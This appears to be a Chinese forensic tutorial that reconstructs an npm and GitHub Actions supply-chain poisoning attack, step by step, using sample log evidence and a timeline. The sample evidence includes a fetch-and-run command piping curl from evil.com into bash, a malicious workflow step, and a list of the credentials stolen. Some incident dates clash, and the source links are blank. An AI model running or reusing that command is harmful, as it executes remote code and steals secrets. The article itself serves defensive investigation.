供应链投毒全链路取证分析与证据拼接

供应链投毒全链路取证分析与证据拼接

勒索软件、Web 应用、钓鱼邮件全链路分析覆盖了三种常见入侵路径。但 2025-2026 年最值得关注的新趋势是供应链攻击——攻击者不再逐个突破终端,而是通过污染软件分发渠道,一次性影响成千上万的受害者。

2026 年 6 月初,@redhat-cloud-services npm 命名空间下 32 个包被投毒,攻击者通过 Miasma 恶意软件绕过代码审查。2026 年 5 月的 Mini Shai-Hulud 攻击在一天内感染了 169 个 npm 包。2025 年 9 月的 Shai-Hulud 蠕虫感染了 500+ npm 包。这些事件标志着供应链攻击已从"个别事件"升级为"常态化威胁"。

本文以供应链投毒为场景,串联多个 0x02 取证项的检查结果,分析如何从分散的证据中拼接出完整的攻击链。


0x01 供应链投毒的典型攻击链

凭证窃取 → 仓库投毒 → 开发者安装 → 恶意执行 → 横向传播 → 数据窃取

供应链攻击与普通入侵的最大区别在于:攻击者不需要逐个突破每台主机,而是通过污染软件分发渠道,让受害者"主动"安装恶意代码。 这使得取证分析的重点从"单台主机"扩展到"整个生态"。


0x02 阶段一:凭证窃取

取证来源

  • 0x02/系统日志检查4624 登录事件
  • 0x02/浏览器相关检查:下载记录、历史记录
  • 0x02/命令行历史记录:git clone、npm publish 等命令

典型证据

0x02/系统日志检查:
  - 钓鱼邮件发送时间:2026-06-01 10:00:00
  - 用户点击钓鱼链接时间:2026-06-01 10:05:00
  - 4624 事件:攻击者从 198.51.100.23 登录 GitHub
  - 时间:2026-06-01 10:06:00

0x02/浏览器相关检查:
  - 用户访问了 http://github-phish.com(仿冒 GitHub)
  - 下载了 .lnk 文件
  - 时间:2026-06-01 10:05:00

分析要点

  • 凭证窃取通常通过钓鱼邮件开始
  • 需要确认攻击者获取了什么类型的凭证(GitHub PAT、npm token、CI/CD 密钥)
  • 需要确认凭证获取时间

0x03 阶段二:仓库投毒

取证来源

  • 0x02/系统日志检查:git push 事件
  • 0x02/重点文件检查:npm/pip 包文件时间线
  • 0x02/命令行历史记录:npm publish 命令

典型证据

场景 A:npm 包投毒(Shai-Hulud 模式)

0x02/系统日志检查:
  - npm publish 事件
  - 包名:@tanstack/core
  - 版本号:4.0.1
  - 发布人:attacker(使用被盗的 npm token)
  - 时间:2026-06-01 10:10:00

0x02/重点文件检查:
  - node_modules/@tanstack/core/index.js 创建时间:2026-06-01 10:10:00
  - 文件内容包含恶意代码:
    - 窃取 GITHUB_TOKEN
    - 窃取 AWS_ACCESS_KEY_ID
    - 窃取 npm publish token
  - 文件哈希:SHA256=BAD123...

场景 B:CI/CD 管道投毒(TeamPCP 模式)

0x02/系统日志检查:
  - GitHub Actions 工作流被修改
  - 工作流文件:.github/workflows/build.yml
  - 修改内容:添加恶意步骤
    - uses: evil-action/payload@main
  - 修改时间:2026-06-01 10:15:00

0x02/命令行历史记录:
  - git push origin main
  - 时间:2026-06-01 10:15:00

分析要点

  • npm 包投毒的关键证据在 node_modules 目录的文件时间线和内容
  • CI/CD 管道投毒的关键证据在 GitHub Actions 工作流文件的修改历史
  • 需要确认恶意代码的具体功能(凭据窃取、后门安装、数据外泄)

0x04 阶段三:开发者安装

取证来源

  • 0x02/系统日志检查:npm install / pip install 事件
  • 0x02/重点文件检查:node_modules / .venv 目录文件时间线
  • 0x02/系统进程检查:npm/node 进程行为

典型证据

0x02/系统日志检查:
  - npm install 事件
  - 包名:@tanstack/core@4.0.1
  - 安装时间:2026-06-02 09:00:00
  - 安装用户:developer

0x02/重点文件检查:
  - node_modules/@tanstack/core/index.js 安装时间:2026-06-02 09:00:00
  - 文件哈希:SHA256=BAD123...(与投毒版本一致)

0x02/系统进程检查:
  - npm install 后启动 node 进程
  - node 进程执行了异常命令
  - 命令行:node -e "require('child_process').exec('curl http://evil.com/exfil | bash')"
  - 时间:2026-06-02 09:01:00

分析要点

  • 开发者安装恶意包的时间与投毒时间的间隔
  • 恶意包安装后是否立即执行了异常命令
  • 需要确认受影响的用户范围(个人开发者 vs 企业内网)

0x05 阶段四:恶意执行

取证来源

  • 0x02/系统进程检查:恶意进程行为
  • 0x02/异常端口查询:网络连接
  • 0x02/系统共享检查:内网访问

典型证据

0x02/系统进程检查:
  - node 进程执行了以下命令:
    - TruffleHog 扫描本地仓库寻找凭据
    - aws sts get-caller-identity 检查 AWS 权限
    - kubectl get pods 检查 Kubernetes 权限
  - 时间:2026-06-02 09:01:00 - 09:05:00

0x02/异常端口查询:
  - node 进程连接了 198.51.100.23:443
  - 出站流量:约 100MB
  - 时间:2026-06-02 09:05:00 - 09:10:00

0x02/系统共享检查:
  - SMB 连接了 \\fileserver\dev-repos
  - 时间:2026-06-02 09:10:00

分析要点

  • 恶意执行通常包括凭据扫描、云权限检查、内网扫描
  • 需要追踪恶意进程的所有网络连接
  • 需要确认数据外泄的目标和大小

0x06 阶段五:横向传播

取证来源

  • 0x02/系统日志检查:npm publish / git push 事件
  • 0x02/系统进程检查:npm/node 进程行为
  • 0x02/异常端口查询:网络连接

典型证据

0x02/系统日志检查:
  - npm publish 事件:32 个包被发布
  - 包名:@tanstack/query, @tanstack/react, @tanstack/vue...
  - 发布时间:2026-06-02 09:15:00 - 09:30:00

0x02/系统进程检查:
  - node 进程执行了 npm publish 命令
  - 命令行:npm publish --access public
  - 时间:2026-06-02 09:15:00 - 09:30:00

0x02/异常端口查询:
  - node 进程连接了 registry.npmjs.org:443
  - 出站流量:约 50MB
  - 时间:2026-06-02 09:15:00 - 09:30:00

分析要点

  • 横向传播的关键证据在 npm publish / git push 事件
  • 需要确认传播范围(多少个包、多少个开发者受影响)
  • 需要确认传播方式(自动传播 vs 手动传播)

0x07 证据拼接:构建完整时间线

时间阶段证据来源事件结论
06-01 10:00钓鱼投递邮件日志钓鱼邮件发送攻击者投递钓鱼邮件
06-01 10:05用户点击浏览器检查访问钓鱼网站用户中招
06-01 10:06凭证窃取系统日志GitHub 登录凭据被窃取
06-01 10:10仓库投毒npm 日志@tanstack/core@4.0.1 发布恶意包上架
06-01 10:15CI/CD 投毒git 日志工作流被修改CI/CD 管道被污染
06-02 09:00开发者安装npm install 日志@tanstack/core@4.0.1 安装恶意包被安装
06-02 09:01恶意执行进程检查TruffleHog 扫描凭据被窃取
06-02 09:05数据外泄端口检查100MB 出站流量数据被外泄
06-02 09:15横向传播npm 日志32 个包被发布传播扩大

0x08 供应链投毒取证的特殊挑战

1. 影响范围难以评估

供应链攻击的影响范围可能跨越多个组织、多个国家。需要:

  • 查询 npm/pip 等包管理器的下载统计数据
  • 查询 GitHub 仓库的依赖关系
  • 联系受影响组织的安全团队

2. 恶意代码可能已清理

攻击者可能在传播完成后清理恶意代码。需要:

  • 从 npm/pip 注册中心获取已下架包的历史版本
  • 从开发者本地的 node_modules 目录中提取恶意代码
  • 从 CI/CD 日志中恢复被删除的工作流

3. 多个攻击向量并存

供应链攻击可能同时通过 npm 包、CI/CD 管道、Docker 镜像等多个渠道传播。需要:

  • 检查 npm 包的历史版本
  • 检查 GitHub Actions 工作流的修改历史
  • 检查 Docker Hub 镜像的版本历史

0x09 公开资料与分析借鉴

1. Unit 42: npm Supply Chain Attack Analysis

Unit 42 的详细分析报告说明了 Shai-Hulud 蠕虫的攻击链:

  • 攻击者通过钓鱼邮件窃取 npm 维护者凭据
  • 使用被盗凭据发布恶意包到 npm 注册中心
  • 恶意包在 preinstall/postinstall 生命周期钩子中执行
  • 窃取 GitHub PAT、npm token、云凭据
  • 自动传播到所有可访问的 npm 包

最值得借鉴的一点是:Shai-Hulud 蠕虫引入了 wormable propagation——恶意负载优先考虑窃取 npm token 和 GitHub PAT,以自动感染和重新发布合法包。

公开来源:

2. Splunk: Defending Against npm Supply Chain Attacks

Splunk 的实用指南说明了 npm 供应链攻击的检测方法:

  • npm 生命周期钩子(preinstall、install、postinstall、prepare)提供多个执行点
  • 恶意代码在包安装时执行,早于大多数运行时安全控制
  • 推荐使用 npm-threat-emulation 和 Package-Inferno 工具进行安全测试

最值得借鉴的一点是:供应链攻击的检测需要关注包安装时的行为,而非仅关注包的内容。

公开来源:

3. DreamFactory: Five Supply Chain Attacks in Twelve Days

DreamFactory 的文章详细说明了 2026 年 3 月的五起供应链攻击:

  • Mini Shai-Hulud 攻击在 12 天内影响 373 个 npm 包
  • 攻击者使用 credential-free 初始访问技术
  • 攻击者生成了最高单小时包数量的 Shai-Hulud 蠕虫

最值得借鉴的一点是:供应链攻击正在从"个别事件"升级为"常态化威胁",防御者需要建立持续的检测和响应能力。

公开来源:

4. Upwind: The New Face of Supply Chain Attacks

Upwind 的文章详细说明了 npm 恶意软件的最新攻击模式:

  • 恶意软件在包安装时执行环境检查
  • 检测沙箱和调试器
  • 收集 GitHub、AWS、GCP、Azure、Kubernetes、Vault 等凭据
  • 通过加密通道外泄数据
  • 通过 Claude / VS Code / 系统服务建立持久化

最值得借鉴的一点是:现代供应链恶意软件更像是一个"入侵框架",而非简单的后门。

公开来源:


0x0A 和其他分析篇怎样联动

本文联动了以下专题:

  • 勒索软件入侵全链路取证分析与证据拼接:提供勒索软件场景对比
  • Web应用入侵全链路取证分析与证据拼接:提供 Web 入侵场景对比
  • 钓鱼邮件入侵全链路取证分析与证据拼接:提供钓鱼邮件场景对比
  • linux 软件包管理器文件检查:提供包管理器层面的取证入口

0x0B 总结

供应链投毒取证分析的关键,不是"只看恶意包",而是:

  • 从凭证窃取开始,覆盖完整攻击链
  • 将邮件日志、浏览器痕迹、npm 日志、进程日志、网络连接等证据按时间排列
  • 识别每个阶段的关键证据和证据强度
  • 构建完整的攻击时间线,支持最终交付

当你能把 npm 日志、GitHub Actions 工作流、node_modules 目录、进程日志、端口分析等多个 0x02 取证项的结果串联成一条完整的攻击链时,0x03 的"取证分析"才真正从"单项分析"升级为"全链路分析"。